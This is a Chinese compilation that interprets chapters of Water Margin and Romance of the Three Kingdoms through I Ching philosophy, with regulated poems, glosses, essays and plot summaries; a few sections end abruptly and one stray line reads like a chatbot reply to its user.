    在这一过程中，唐牛儿的出现，也有着其特殊的意义。他如同一个媒介，将宋江与阎婆惜的矛盾进一步激化。唐牛儿的行为，既受到了外界因素的影响，又反映了他自身性格中的弱点。


    同时，这一情节也体现了周易哲学中“变易”的思想。事情的发展并非一成不变，而是充满了变数。宋江与阎婆惜之间的关系，从最初的相安无事，到后来的矛盾激化，再到最后的悲剧结局，都是变化的结果。


    此外，周易哲学还强调了“时位”的重要性。宋江在当时的社会环境中，所处的位置决定了他不得不面对各种挑战与压力。而阎婆惜的行为，则是在不恰当的“时位”上做出了错误的选择，最终导致了自己的悲惨命运。


    通过对“虔婆醉打唐牛儿，宋江怒杀阎婆惜”这一情节的周易哲学深度解析，我们可以看到人性


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    的复杂与命运的无常。这也提醒我们，在面对生活中的各种问题时，要善于运用周易哲学的智慧，把握阴阳平衡，顺应时势变化，做出正确的选择。


    总之，《水浒传》第二十一回所展现的故事，是周易哲学在文学作品中的生动体现。它让我们在欣赏文学之美的同时，也能从中汲取智慧与力量，更好地理解人性与命运的奥秘。


    二、用周易哲学从几个方面对“宋江怒杀阎婆惜”进行深度解析：


    阴阳平衡的打破


    宋江与阎婆惜之间的关系原本处于一种相对平衡的状态，但阎婆惜的贪婪和私欲打破了这种平衡，导致阴阳失调。


    卦象的变化


    可以将宋江和阎婆惜的行为与不同的卦象相对应，分析他们在不同阶段所呈现的卦象特征，以及卦象的变化如何影响事件的发展。


    命运的变数


    在这一情节中，命运的变数起到了关键作用。宋江的招文袋被发现，成为了命运转折的导火索，体现了周易中“变易”的思想。


    道义与私欲的冲突


    宋江代表的道义与阎婆惜所表现出的私欲形成鲜明对比，这种冲突反映了周易中阴阳对立的理念。


    自我控制与冲动


    宋江的怒杀行为既有他自我控制的失败，也有冲动的因素。这体现了周易中对情绪和行为的思考。


    你可以根据具体需求，对这些方面进一步展开分析和阐述。你还有其他想要探讨的角度吗？


    三、《三国演义》第二十一回名为“曹操煮酒论英雄 关公赚城斩车胄”。以下是其梗概、主要人物及经典诗句：


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 第22章 袁曹各起马步三军 关张共擒王刘二将

    七律诗《周易视角下的袁曹之战与关张之擒》：


    袁曹对垒起三军，周易玄机蕴战云。


    关张智勇擒双将，世事纷纭变幻勤。


    阴阳燮理乾坤定，刚柔相济势如焚。


    筹策纷争思进退，英雄豪气破尘氛。


    诠释


    诗的首联描述了袁曹之间大规模的军事对抗，就像周易中蕴含的神秘战争之云。颔联则突出了关张二人的智勇，他们成功擒获了两位将领，展现了世事的变幻无常。颈联提到了周易中的阴阳调和与乾坤稳定的道理，同时强调了在战争中刚柔相济的重要性，局势如火般激烈。尾联表达了在这场纷争中，需要思考进退之策，英雄们的豪气能够冲破尘世的纷扰。整首诗从周易的视角，深入描绘了袁曹之战与关张之擒这一情节，展现了其中的智谋、勇气和变化。


    一、《周易视角下的袁曹之战与关张之擒》


    《三国演义》第二十二回“袁曹各起马步三军 关张共擒王刘二将”，是一段充满智谋与武力交锋的精彩篇章。从周易哲学的角度来深度解析这一情节，我们能发现其中蕴含着深刻的变化与应对之道。


    在这一回中，刘备面临曹操的威胁，处境艰难。而陈登建议他向袁绍求救，这一举措体现了《周易》中“变则通”的思想。当面对困境时，刘备能够灵活应变，寻求外部力量的支持，而不是一味地硬抗。这种变通的思维，使他在不利的局势中寻找到了转机。


    袁绍在接到刘备的求救信后，表现出了犹豫和优柔寡断。这反映了《周易》中“阴阳平衡”的观念。袁绍心中既有出兵的欲望，又有对曹操实力的忌惮，这种矛盾的心态导致了他的决策困难。然而，许攸、荀谌的进言最终促使袁绍下定决心出兵，这也体现了在变化中找到平衡点的重要性。


    曹操得知袁绍出兵后，采取了分兵对抗的策略。这体现了《周易》中“因时制宜”的理念。曹操根据形势的变化，合理地调配兵力，以应对来自袁绍的威胁。同时，他派刘岱、王忠去攻打刘备，也是在利用敌人的弱点，进行有针对性的行动。


    而关张二人在与王刘二将的交锋中，展现出了非凡的智慧和勇气。关羽生擒王忠，张飞用计擒获刘岱，这体现了《周易》中“刚柔相济”的道理。他们在战斗中既有勇猛的一面，又能运用智谋，使敌人陷入自己的圈套。这种刚柔并济的作战方式，使他们在战场上取得了胜利。


    此外，在整个情节中，人物的命运也充满了变数。刘备的崛起与曹操的抗衡，袁绍的犹豫与决策，都在不断地变化着。这反映了《周易》中“易变”的本质。世间万物都在不断地变化之中，没有什么是永恒不变的。只有适应变化，才能在复杂的局势中生存和发展。


    同时，这一回也展现了《周易》中“否极泰来”的思想。刘备在曹操的压力下，看似陷入了绝境，但通过与袁绍的联合，以及关张二人的英勇表现，局势逐渐发生了转变。困境并不可怕，只要能抓住机遇，就能实现逆转。


    从袁绍和曹操的对比中，我们也能看出《周易》中“自强不息”与“厚德载物”的差异。曹操积极应对挑战，不断壮大自己的实力，体现了自强不息的精神；而袁绍优柔寡断，缺乏果断的行动力，未能充分发挥自己的优势


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    ，这与厚德载物的要求尚有差距。


    在这场战争中，各方势力的相互较量，如同《周易》中的阴阳相互作用。曹操与袁绍代表着两种不同的力量，他们之间的矛盾与冲突推动着故事的发展。而刘备、关羽、张飞等人物的行动，则是在这种阴阳交织的环境中，努力寻找自己的生存之道和发展之路。


    总的来说，“袁曹各起马步三军 关张共擒王刘二将”这一情节，充满了《周易》哲学的智慧。它让我们看到了变化中的应对策略，命运的无常，以及在困境中求生存、谋发展的艰辛与努力。通过深入分析这一回的故事，我们能更好地理解《周易》的深刻内涵，以及它在人类社会和历史发展中的重要意义。


    在这个充满变数的世界里，我们要像刘备、关羽、张飞那样，在面对困难时保持灵活的思维和坚定的信念，运用智慧和勇气去应对挑战。同时，我们也要学习曹操的果断和积极进取的精神，不断提升自己的能力，以适应时代的变化。而袁绍的教训则告诉我们，在决策时要果断坚定，不能优柔寡断，否则很容易错失良机，陷入被动局面。


    《周易》的哲学思想如同一盏明灯，照亮了我们前行的道路。在阅读《三国演义》的过程中，我们可以不断地从中汲取智慧和力量，更好地理解人生的意义和价值，为自己的生活和事业指引方向。让我们在周易哲学的指引下，不断探索前进，创造更加美好的未来。


    二、《三国演义》第二十二回名为“袁曹各起马步三军 关张共擒王刘二将”。以下是其梗概、主要人物及相关分析：


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 第23章 祢正平裸衣骂贼，吉太医下毒遭刑

    七律诗《周易视角下的忠义与权谋——祢衡与吉平的命运纠葛》：


    《忠义权谋叹祢衡》


    周易乾坤道义明，祢衡狂傲骂奸狞。


    忠贞吉平谋毒计，智勇曹操弄权旌。


    命运无常纠葛绕，人心叵测是非横。


    千秋史话留余响，忠义权谋总动情。


    诠释：


    “周易乾坤道义明”，指出周易中所蕴含的道义在故事中得以体现；“祢衡狂傲骂奸狞”描述了祢衡的狂放不羁和对奸佞的怒斥；“忠贞吉平谋毒计”展现了吉平的忠义以及他采取下毒这一极端手段的决心；“智勇曹操弄权旌”则表现了曹操的智谋和权谋手段；“命运无常纠葛绕”强调了命运的不可捉摸和人物之间的复杂纠葛；“人心叵测是非横”揭示了人性的复杂和世事的纷扰；“千秋史话留余响，忠义权谋总动情”总结了这段历史故事给后人留下的深刻印象，以及其中忠义与权谋所引发的情感共鸣。整首诗通过对祢衡与吉平命运的描绘，从周易的角度深入探讨了忠义与权谋的交织与碰撞。


    一、《周易视角下的忠义与权谋——祢衡与吉平的命运纠葛》


    《三国演义》第二十三回“祢正平裸衣骂贼，吉太医下毒遭刑”这一情节，充满了激烈的冲突与复杂的人性展现。从周易哲学的角度来深度解析这一情节，可以更深入地理解其中所蕴含的命运轨迹与阴阳变化的道理。


    在这一回中，祢衡以其狂傲不羁的性格和犀利的言辞，成为了众人瞩目的焦点。祢衡的行为，体现了一种极端的阳刚之气。他不畏强权，敢于直面曹操，将心中的不满与愤怒毫无保留地宣泄出来。这种阳刚的表现，如同周易中的乾卦，刚健有力，勇往直前。


    然而，祢衡的过度张扬也为他带来了灾祸。他的言行过于激烈，没有给自己留下回旋的余地，最终导致了被曹操遣去刘表处的命运。这正体现了周易中阴阳相互转化的道理，过度的阳刚会走向其反面，带来不利的后果。


    与之相对应的是吉平，他作为太医，本应秉持医者仁心，但却因为对曹操的痛恨而选择了下毒这一极端的手段。吉平的行为，反映了他内心深处的忠义与决绝。这种忠义，如同周易中的坤卦，厚德载物，坚定执着。


    但吉平的计划最终败露，他遭受了酷刑却宁死不屈。这体现了命运的无常与无奈，即使吉平有着坚定的信念和决心，但在强大的势力面前，他的努力依然显得如此渺小。


    从曹操的角度来看，他在面对祢衡和吉平时，展现出了复杂的心态和手段。曹操既有雄才大略，又有着猜忌多疑的一面。他能够容忍祢衡的一时张狂，却不会放过吉平的反叛行为。这反映了曹操在处理事情时的权衡与谋略，也体现了周易中阴阳平衡的思想。


    在这一情节中，还可以看到人性的复杂性。祢衡的狂傲、吉平的忠义、曹操的权谋，以及其他人物的种种表现，共同构成了一个充满矛盾与冲突的世界。这与周易中所描述的世界是相似的，阴阳相互交织，变化无常。


    同时，这一情节也反映了命运的不可预测性。祢衡和吉平的命运似乎在一开始就已经注定，他们在历史的洪流中，无法摆脱自己的命运轨迹。这与周易中对命运的理解是一致的，命运如同一张无形的网，将人们紧紧


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    束缚其中。


    然而，即使面对命运的安排，祢衡和吉平依然展现出了不屈的精神。他们以自己的方式与命运抗争，尽管最终未能改变结局，但他们的行为却给后人留下了深刻的印象。这种对命运的抗争，也是周易哲学所倡导的精神，即在面对困难和挑战时，不轻易放弃，勇敢地去追求自己的理想和目标。


    总的来说，“祢正平裸衣骂贼，吉太医下毒遭刑”这一情节，通过祢衡和吉平的命运展现，深刻地反映了周易哲学中的阴阳变化、命运无常以及人性的复杂。这一情节不仅是《三国演义》中的精彩篇章，更是对周易哲学的生动诠释，让我们在欣赏故事的同时，也能更深入地理解其中所蕴含的深刻哲理。


    二、《三国演义》第二十三回名为“祢正平裸衣骂贼，吉太医下毒遭刑”。以下是其梗概、主要人物及经典诗句：


    1. 梗概：


    张绣归降曹操：曹操准备攻打刘备时，孔融建议在隆冬不宜动兵，可先招安张绣和刘表，来年春天再图刘备。张绣权衡后决定归降曹操，其谋士贾诩给出曹操奉天子明诏征伐、曹操势力虽弱但得张绣支持会高兴、曹操有王者之志能释怀私怨这三个归降理由。曹操接受张绣归降，封他为扬武将军，封贾诩为执金吾使。


    祢衡裸衣骂曹：孔融向曹操举荐自己的好友祢衡去劝降刘表。祢衡恃才傲物，目下无人，初次见曹操便将其身边文臣武将挨个羞辱，还在曹操让他当鼓吏时，于大堂上裸衣换衣，以此羞辱曹操。曹操大怒，但恐杀他失民心，便派他去招降刘表。


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 第24章 国贼行凶杀贵妃，皇叔败走投袁绍

    七律诗《周易哲学视角下的权谋与挣扎：“国贼行凶杀贵妃，皇叔败走投袁绍”解析》


    《权谋挣扎》


    《周易》哲思蕴万象，国贼行凶贵妃殇。


    皇叔败走投袁绍，权谋挣扎乱世茫。


    阴翳蔽日风云变，阳刚抗争志未央。


    卦象爻辞含奥义，兴衰荣辱细思量。


    诠释：


    诗的首联“《周易》哲思蕴万象，国贼行凶贵妃殇”，点明了以周易哲学的视角来审视这一情节，国贼曹操的行凶行为导致了董贵妃的悲惨命运。


    颔联“皇叔败走投袁绍，权谋挣扎乱世茫”，描述了刘备在困境中败走并投靠袁绍，展现了在乱世中各方势力的权谋与挣扎。


    颈联“阴翳蔽日风云变，阳刚抗争志未央”，进一步深化了阴阳哲学的概念，暗示了黑暗势力的猖獗与正义力量的不懈抗争。


    尾联“卦象爻辞含奥义，兴衰荣辱细思量”，强调了周易卦象和爻辞中所蕴含的深刻道理，让人们对兴衰荣辱进行深入思考。


    整首诗通过周易哲学的视角，对“国贼行凶杀贵妃，皇叔败走投袁绍”这一情节进行了深入的剖析和感慨。


    一、《周易哲学视角下的权谋与挣扎：“国贼行凶杀贵妃，皇叔败走投袁绍”解析》


    在《三国演义》第二十四回“国贼行凶杀贵妃，皇叔败走投袁绍”中，一场惊心动魄的政治风云与人性挣扎交织的画卷徐徐展开。这一情节不仅展现了权力斗争的残酷与复杂，更蕴含着深刻的周易哲学内涵，让我们得以从更深层次去理解其中的因果与变化。


    从周易哲学的角度来看，本回所展现的种种事件与人物的命运，无不是阴阳相互作用、变化发展的结果。曹操作为国贼，其行凶之举正是阴之极的体现。他杀董承等人，又不顾董贵妃身怀六甲而将其杀害，这种残忍与决绝，是阴的力量在权力欲望的驱使下的极致表现。


    而董承等人的密谋，以及他们所代表的反对曹操的势力，则是阳的力量的体现。然而，阳的力量在这一回合中并未能够战胜阴的力量，反而遭到了残酷的镇压，这也反映了在现实政治斗争中，力量的对比与运用是至关重要的。


    汉献帝与伏皇后的苦苦哀求，在曹操的铁腕之下显得如此无力，这也象征着在强大的阴的力量面前，阳的力量往往处于弱势地位。他们的无奈与悲哀，正是阴阳失衡所带来的结果。


    而刘备在本回中的表现，则体现了他在困境中不断寻求生存与发展的努力。他先是与孙乾商议求救于袁绍，后又采纳张飞之计劫寨，尽管最终兵败，但他始终没有放弃希望。这种坚韧不拔的精神，正是阳的力量在逆境中不屈不挠的体现。


    袁绍在本回中的表现则颇具戏剧性。他因幼子之病而无心论事，错失了进攻曹操的良机，这显示了他优柔寡断的性格缺陷。他对刘备的态度也反映了他在权衡利弊时的犹豫与困惑，这种犹豫不决正是阴阳未明、局势未清时的表现。


    从整体上看，本回的情节发展充满了变数与不确定性，这与周易哲学中“变易”的思想是相符的。曹操的权势日益膨胀，刘备的艰难处境，袁绍的犹豫不决，这些都在不断地变化着，没有绝对的稳定与静止。


    在这场政治斗争中，每个人都像是周易卦象中的爻，各自有着自己的位置与作用。他们的相互作用与变化，推动着整个局势的发展。而这种发展又并非是线性的，而是充满了曲折与反复。


    同时，本回也体现了周易哲学中“平衡”的重要性。曹操的暴行打破了政治上的平衡，引发了一系列的反应与对抗。而刘备与袁绍等人的努力，则是为了重新恢复平衡，维护自己的利益与生存空间。


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    > 然而，这种平衡往往是短暂的，新的不平衡又会随之产生。这就如同周易卦象中的阴阳消长，始终处于一种动态的平衡与不平衡之间。


    此外，“国贼行凶杀贵妃”这一情节也反映了周易哲学中“因果报应”的观念。曹操的残忍行为，种下了日后他被众人反对的因，也为他的命运埋下了伏笔。而刘备等人的遭遇，则是他们在这场政治博弈中所必须承受的果。


    在周易哲学的视角下，我们可以更深入地理解“国贼行凶杀贵妃，皇叔败走投袁绍”这一情节的内在逻辑与意义。它不仅仅是一个简单的故事，更是一场关于人性、权力、命运与因果的深刻探讨。它让我们看到了在历史的长河中，人们在阴阳交织的世界里，为了生存与发展而进行的不懈努力与挣扎。


    总之，通过周易哲学的深度解析，我们能够更全面地认识这一情节所蕴含的丰富内涵，也能更好地理解《三国演义》这部伟大作品的思想深度与艺术魅力。


    二、《三国演义》第二十四回名为“国贼行凶杀贵妃，皇叔败走投袁绍”。以下是其梗概、主要人物及经典诗句：


    1. 梗概：


    曹操杀董承等人后又杀董贵妃：曹操发现了汉献帝的衣带诏，知道董承等人密谋要杀他，便与众谋士商议，本想废了献帝，但程昱劝谏说此时诸侯未平，废立之事会引发兵端，曹操于是只将董承等五人及其全家老小押送各门处斩，死者达七百余人。之后曹操怒气


    未消，又带剑入宫要杀董贵妃。董贵妃是董承之妹，已怀有汉献帝的身孕五月。汉献帝和伏皇后苦苦哀求，曹操仍不听，最终将董贵妃勒死于宫门之外。曹操还对监宫官下令，今后外戚宗族不奉他的旨意擅自入宫门者，斩，守御不严的人与同罪，并拨心腹人三千充御林军，令曹洪统领。


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 第25章 屯土山关公约三事 救白马曹操解重围

    七律诗：《屯土山之约与白马之围：关羽与曹操的命运交织及周易哲学解析》：


    《屯土山约白马围》


    屯土山上风云起，关羽困局心未移。


    约事三章忠义显，白马解围威名披。


    易理深藏运数变，命运交织情亦痴。


    曹关恩义终成忆，历史长河留传奇。


    诠释：


    诗的首联“屯土山上风云起，关羽困局心未移”，描绘了屯土山这个地方局势的变化，以及关羽虽身处困境但内心坚定的情景。


    颔联“约事三章忠义显，白马解围威名披”，强调了关羽在屯土山约三事所展现的忠义，以及他在白马之战中解围所获得的威名。


    颈联“易理深藏运数变，命运交织情亦痴”，指出了其中蕴含的周易哲学，即命运的变化无常，以及关羽与曹操之间复杂的情感纠葛。


    尾联“曹关恩义终成忆，历史长河留传奇”，表达了曹操与关羽之间的恩义最终成为回忆，而他们的故事成为历史长河中的传奇。


    整首诗通过对屯土山之约与白马之围这一情节的描述，结合周易哲学的解析，展现了关羽与曹操命运交织的壮阔画卷。


    一、《屯土山之约与白马之围：关羽与曹操的命运交织及周易哲学解析》


    在《三国演义》第二十五回“屯土山关公约三事 救白马曹操解重围”中，一段波澜壮阔的历史画卷徐徐展开。这一情节不仅展现了关羽的忠义与英勇，曹操的智谋与爱才，更蕴含着深刻的周易哲学智慧，让我们一同深入探究。


    屯土山，这座见证了关羽命运转折的地方，成为了历史的焦点。关羽中计被困于此，面临着生与死的抉择。这一困境恰似周易中的“屯卦”，象征着艰难与困顿。然而，关羽并未被困境所压垮，他展现出了坚韧不拔的意志和对忠义的坚守。


    “屯卦”也暗示着在困境中需要积聚力量，等待时机。关羽在土山之上，虽身陷绝境，但他的内心依然坚定。张辽的到来，如同“屯卦”中的转机，为关羽带来了一线希望。张辽以旧日之情相劝，使得关羽开始思考自己的出路。


    关公约三事，是这一情节中的核心。这三事体现了关羽的原则与底线，也是他对自身命运的一种把握。从周易哲学的角度来看，这三事可以被视为关羽在困境中为自己设定的“道”。“道”是事物发展的规律和原则，关羽坚守三事，便是在遵循自己内心的“道”。


    其一，只降汉帝，不降曹操，体现了关羽对汉室的忠诚。在周易中，“忠”是一种高尚的品德，代表着对正道的坚守。关羽的这一选择，反映了他对汉室正统的认同，以及对自己忠义之名的珍视。


    其二，要求供养二位嫂子，体现了关羽对亲情的重视。在周易中，“家”是一个重要的概念，代表着稳定和依靠。关羽对二位嫂子的照顾，既是他的责任，也是他对家庭价值的维护。


    其三，得知刘备去向便辞去，体现了关羽对兄弟之情的执着。在周易中，“友”也是一种重要的关系，代表着相互扶持和信任。关羽与刘备的兄弟情，如同手足，他的离去是为了追寻与刘备的团聚。


    救白马曹操解重围，这一情节展现了关羽的勇武和智谋。在战场上，关羽如同一只猛虎，冲入敌阵，斩杀颜良，解了曹操之围。这一壮举，恰如周易中的“乾卦”，象征着刚健和进取。关羽的勇猛无畏，正是“乾卦”所体现的精神。


    曹操在这一过程中，展现出了他的爱才之心和用人之智。他对关羽的厚待，以及对其才能的认可，体现了他对人才的尊重和珍惜。在周易中，“用人”是一种智慧，曹操懂得如何发挥人才的作用，为自己的事业增添力量。<


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    然而，关羽与曹操之间的关系，也充满了矛盾与冲突。他们如同周易中的阴阳两极，相互对立又相互依存。关羽的忠义与曹操的权谋形成了鲜明的对比，这种对比反映了人性的复杂和多样性。


    屯土山之约与白马之围，是关羽与曹操命运的交织点。这一情节不仅展现了历史的波澜壮阔，也蕴含着周易哲学的深刻智慧。在困境中坚守原则，在战场上奋勇杀敌，关羽用自己的行动诠释了忠义与勇敢的真谛。而曹操的爱才与用人之道，也为我们提供了宝贵的经验和启示。


    回顾这段历史，我们不禁为关羽的忠义所感动，为曹操的智谋所折服。同时，也让我们更加深入地理解了周易哲学的博大精深。在历史的长河中，每一个人物和事件都如同周易中的卦象，蕴含着丰富的意义和价值。我们应当从中学到智慧，汲取力量，以更好地面对生活中的挑战与机遇。


    二、《三国演义》第二十五回名为“屯土山关公约三事 救白马曹操解重围”。其主要情节如下：


    1. 关羽中计被困土山：


    曹操攻破徐州后，刘备、张飞逃走，关羽被困下邳。曹操素来爱慕关羽的人才，有心劝降，程昱献计，先让刘备手下投降的士兵回到下邳，潜伏在城中做内应，然后派夏侯惇前去搦战。关羽起初不出战，但夏侯惇派人在城下辱骂，关羽大怒，引三千人马出城与夏侯惇交战。夏侯惇战约十余合后拨马便走，且战且退，将关羽引出二十里。关羽因


    担心下邳有失，提兵便回，却遭遇徐晃、许褚两队军截住去路。两边伏兵还排下硬弩百张，箭如飞蝗，关羽无法冲过，只好退到一座土山，引兵屯于山头。此时曹操已提大军杀入下邳城中，城中火光冲天，关羽几次冲下山都被乱箭射回。


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 第26章 袁本初败兵折将 关云长挂印封金

    七律诗《周易哲学视角下的袁本初败兵与关云长挂印》：


    《袁关之变》


    袁门败将势颓倾，周易玄机蕴世情。


    本初刚愎终遗恨，云长忠义耀汗青。


    卦象无常演兴废，丹心有定鉴阴晴。


    挂印封金豪气在，千秋史话任人评。


    诠释：


    诗的首联“袁门败将势颓倾，周易玄机蕴世情”，描述了袁绍军队战败、势力衰败的局面，同时指出其中蕴含着周易哲学所揭示的世间百态和事物变化的道理。


    颔联“本初刚愎终遗恨，云长忠义耀汗青”，对比了袁绍的刚愎自用导致的遗憾结局，与关羽的忠义之举在历史上闪耀光芒。


    颈联“卦象无常演兴废，丹心有定鉴阴晴”，进一步强调了卦象所体现的变化无常，以及忠义之心如同定盘星，能分辨世事的阴晴。


    尾联“挂印封金豪气在，千秋史话任人评”，突出了关羽挂印封金的豪迈气概，而他们的故事将在千秋史册中任由后人评说。


    整首诗以周易哲学为视角，深入剖析了袁本初败兵与关云长挂印这一历史事件，展现了其中的深刻内涵和意义。


    一、《周易哲学视角下的袁本初败兵与关云长挂印》


    在《三国演义》第二十六回“袁本初败兵折将 关云长挂印封金”中，一幕幕波澜壮阔的历史画卷展现于我们眼前。这一回不仅是武力与智谋的较量，更是人性与命运的交织，从周易哲学的角度来深度解析，更能揭示其中蕴含的深刻哲理。


    袁绍，这位曾经的一方霸主，在这一回中遭遇了惨痛的失败。在周易哲学中，“变”是一个核心概念，事物总是处于不断变化之中。袁绍的失败，正体现了这种变化的无常。他在决策和用人上的失误，使其势力逐渐走向衰落。他的刚愎自用、不听良言，就如同周易中的“亢龙有悔”，过度的自信和固执导致了他的失败。


    而文丑，作为袁绍麾下的大将，也在这场战争中命丧黄泉。文丑的命运，也反映了周易中“盛极而衰”的道理。他在战场上的勇猛曾让敌人闻风丧胆，但最终却难逃命运的安排。他的失败，既是个人的悲剧，也是袁绍势力衰落的一个缩影。


    与之形成鲜明对比的是关羽的英勇表现。关羽在这一回中展现出了非凡的武力和智谋，他的“挂印封金”更是彰显了其忠义的品质。在周易哲学中，“忠义”被视为一种高尚的品德，是顺应天道的表现。关羽的行为，体现了他对刘备的忠诚，以及对道义的坚守。


    关羽的出现，就如同周易中的“飞龙在天”，他的光芒在这场战争中闪耀夺目。他的勇武和智慧，让敌人胆寒，也让人们看到了他的不凡之处。然而，关羽的命运同样充满了变数，他在后来的征程中也经历了诸多艰难险阻。


    同时，刘备在这一回中的表现也值得我们深思。他与关羽之间的兄弟情谊，在这场战争中经受了考验。刘备得知关羽的下落和壮举后，表现出的欣喜和感慨，体现了他对兄弟情义的珍视。在周易哲学中，“情”也是一种重要的力量，它能够维系人与人之间的关系，给予人们前进的动力。


    从袁绍的失败到关羽的挂印封金，这一系列事件反映了周易哲学中“阴阳平衡”的道理。袁绍的刚愎自用与关羽的忠义智勇形成了鲜明的对比，而刘备的情


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    感与袁绍的冷漠也构成了另一种对比。这些对比，让我们看到了人性的复杂和多样。


    在这场战争中，胜负的关键不仅仅在于武力的强弱，更在于人心的向背。关羽之所以能够赢得人们的敬仰和赞誉，不仅仅是因为他的武力，更是因为他的忠义和品德。而袁绍的失败，则是因为他失去了人心，失去了对道义的坚守。


    周易哲学告诉我们，世间万物都处于不断的变化之中，没有什么是永恒不变的。袁绍曾经的辉煌如同昙花一现，而关羽的忠义则成为了永恒的典范。这一回中的故事，让我们深刻体会到了命运的无常和人性的复杂，也让我们更加珍惜那些真正值得我们坚守的东西。


    在历史的长河中，每一个人物都如同周易中的卦象，有着自己独特的命运和轨迹。袁本初的败兵折将和关云长的挂印封金，不仅仅是一段历史故事，更是一次对人性、命运和道义的深刻思考。通过周易哲学的视角来解读这一回，我们能够更加深入地理解其中的内涵和意义，也能够从中学到更多关于人生和命运的智慧。


    总之，“袁本初败兵折将 关云长挂印封金”这一回，以其丰富的情节和深刻的内涵，为我们展现了一个充满变数和挑战的世界。在这个世界里，忠义与背叛、胜利与失败交织在一起，构成了一幅波澜壮阔的历史画卷。而周易哲学的深度解析，让我们更加清晰地看到了这其中蕴含的哲理和智慧，也让我们对人生和命运有了更深刻的认识和感悟。


    二、《三国演义》第二十六回名为“袁本初败兵折将 关云长挂印封金”。主要情节如下：


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 第27章 美髯公千里走单骑 汉寿侯五关斩六将

    七律诗《忠义乾坤：以周易哲学解读美髯公千里走单骑与汉寿侯五关斩六将》：


    《忠义千秋》


    忠义乾坤照古今，美髯千里走单骑。


    乾刚勇毅破艰险，坤厚仁德守本真。


    五关斩将雄风展，周易明心智慧深。


    浩气长存昭日月，英名永载颂忠魂。


    诠释：


    “忠义乾坤照古今”：强调关羽的忠义精神如天地般宏大，照耀着从古至今的岁月。


    “美髯千里走单骑”：描述了关羽留着美髯，独自踏上千里追寻主公的征程。


    “乾刚勇毅破艰险”：表示关羽凭借着如“乾”卦所象征的刚强勇敢，毅然突破重重艰险。


    “坤厚仁德守本真”：指出他也有着如“坤”卦所代表的宽厚仁德，始终坚守着自己的本性和忠义。


    “五关斩将雄风展”：描绘了他在过五关斩六将时展现出的英勇雄风。


    “周易明心智慧深”：体现了用周易哲学来解读他的行为，突显其中蕴含的深刻智慧。


    “浩气长存昭日月”：表达他的浩然正气永远长存，如同日月般光辉耀眼。


    “英名永载颂忠魂”：说明他的英名将永远被记载，人们传颂着他的忠魂。


    一、《忠义乾坤：以周易哲学解读美髯公千里走单骑与汉寿侯五关斩六将》


    《三国演义》第二十七回“美髯公千里走单骑 汉寿侯五关斩六将”，讲述了关羽在乱世之中的一段传奇经历。这段故事不仅展现了关羽的英勇无畏和忠义无双，还蕴含着深刻的周易哲学智慧。


    在周易哲学中，“乾”象征着刚健、进取与力量，而“坤”则代表着柔顺、包容与坚守。关羽的“千里走单骑”与“五关斩六将”，正体现了这两种力量的完美结合。


    关羽为了寻找刘备，毅然决然地踏上了千里征途。这体现了他内心坚定的信念和对主公的忠诚，正是“乾”之刚健力量的体现。他不畏艰难险阻，一路前行，哪怕前方有重重关卡和强敌阻拦，也无法动摇他的决心。这种刚健的力量让他能够在困境中保持坚定，勇往直前。


    而在他与各路敌人的交锋中，又展现出了“坤”之柔顺与包容。他并非一味地凭借武力蛮干，而是善于观察形势，灵活应对。在面对不同的对手时，他能够根据对方的特点和弱点，采取合适的策略，以柔克刚，巧妙化解危机。这种柔顺与包容并非软弱，而是一种智慧的体现，使他能够在复杂的局势中找到突破点，顺利前行。


    同时，关羽的“五关斩六将”也蕴含着阴阳相生相克的道理。在这过程中，他遇到了各种不同性格和能力的敌人，这些敌人就如同阴阳两极的存在。关羽通过与他们的战斗，不断地调整自己的状态和策略，使阴阳相互转化，最终战胜了所有的对手。这也告诉我们，在生活中，我们会遇到各种困难和挑战，只有善于把握阴阳的变化，才能在逆境中找到转机。


    从关羽与曹操的关系中，我们也可以看到周易哲学的影子。曹操对关羽的赏识和礼遇，体现了“坤”之包容与宽厚。而关羽对曹操的感激和尊重，同时又保持着自己的忠义，体现了“乾”之刚正不阿。他们之间的这种复杂关系，就如同阴阳相互交织，相互影响。最终，关羽还是选择了离开曹操，回归刘备，这正是他坚守正道、遵循内心信念的体现。


    此外


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    ，关羽在这一过程中的经历也反映了周易哲学中“变”与“不变”的辩证关系。他所处的环境和形势在不断变化，但他的忠义之心始终不变。他始终坚守着自己的原则和信念，不为外界所动摇。这种“不变”使他在纷繁复杂的世界中保持着自己的本色，不被世俗所玷污。而“变”则让他能够根据实际情况做出调整，适应环境的变化，从而更好地实现自己的目标。


    在“千里走单骑”的过程中，关羽还经历了许多磨难和考验。这些磨难就如同周易哲学中的“坎”卦，象征着艰险和困境。但关羽并没有被这些困难所吓倒，而是凭借着自己的勇气和智慧，一一克服了这些困难。他的坚韧和毅力，让我们看到了在面对困境时应有的态度和精神。


    而他与沿途之人的相遇和分别，也充满了命运的无常和变数。这让我们明白，人生充满了不确定性，我们无法预知未来会发生什么。但我们可以像关羽一样，保持积极的心态，勇敢地面对生活的挑战，用自己的努力去创造美好的未来。


    总的来说，关羽的“千里走单骑”与“五关斩六将”，是一段充满了传奇色彩和哲学智慧的故事。它以生动的情节和深刻的寓意，向我们展示了周易哲学在生活中的应用和体现。我们可以从中汲取力量和智慧，在自己的人生道路上坚定前行，不畏艰难险阻，始终保持着内心的忠义和信念。这正是关羽这段故事带给我们的宝贵启示，也是周易哲学在历史长河中永恒的魅力所在。


    二、《三国演义》第二十七回名为“美髯公千里走单骑 汉寿侯五关斩六将”。以下是这一回的主要情节：


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 第28章 斩蔡阳兄弟释疑，会古城主臣聚义

    七律诗《周易哲学视角下的“斩蔡阳兄弟释疑，会古城主臣聚义”解析》：


    《古城聚义》


    周易哲思蕴妙玄，蔡阳斩处释疑团。


    桃园义重情如岳，兄弟心齐势若磐。


    变易无常随世转，刚柔相济破时难。


    古城主臣重相聚，忠义传奇千古传。


    诠释：


    首联：“周易哲思蕴妙玄，蔡阳斩处释疑团”，点明了以周易哲学的视角来解析“斩蔡阳兄弟释疑，会古城主臣聚义”这一情节，在蔡阳被斩之处，消除了兄弟之间的疑虑。


    颔联：“桃园义重情如岳，兄弟心齐势若磐”，强调了刘关张三人桃园结义的深厚情义，如同山岳般坚定，他们兄弟同心，力量强大如磐石。


    颈联：“变易无常随世转，刚柔相济破时难”，体现了周易哲学中变易的思想，世事无常，他们顺应变化，刚柔并济，克服了各种艰难险阻。


    尾联：“古城主臣重相聚，忠义传奇千古传”，描述了在古城主臣重新相聚的场景，他们的忠义之举成为了千古传颂的传奇。


    整首诗通过周易哲学的视角，深入剖析了这一情节所蕴含的哲理和情感，展现了刘关张兄弟情义的深厚与伟大。


    一、《周易哲学视角下的“斩蔡阳兄弟释疑，会古城主臣聚义”解析》


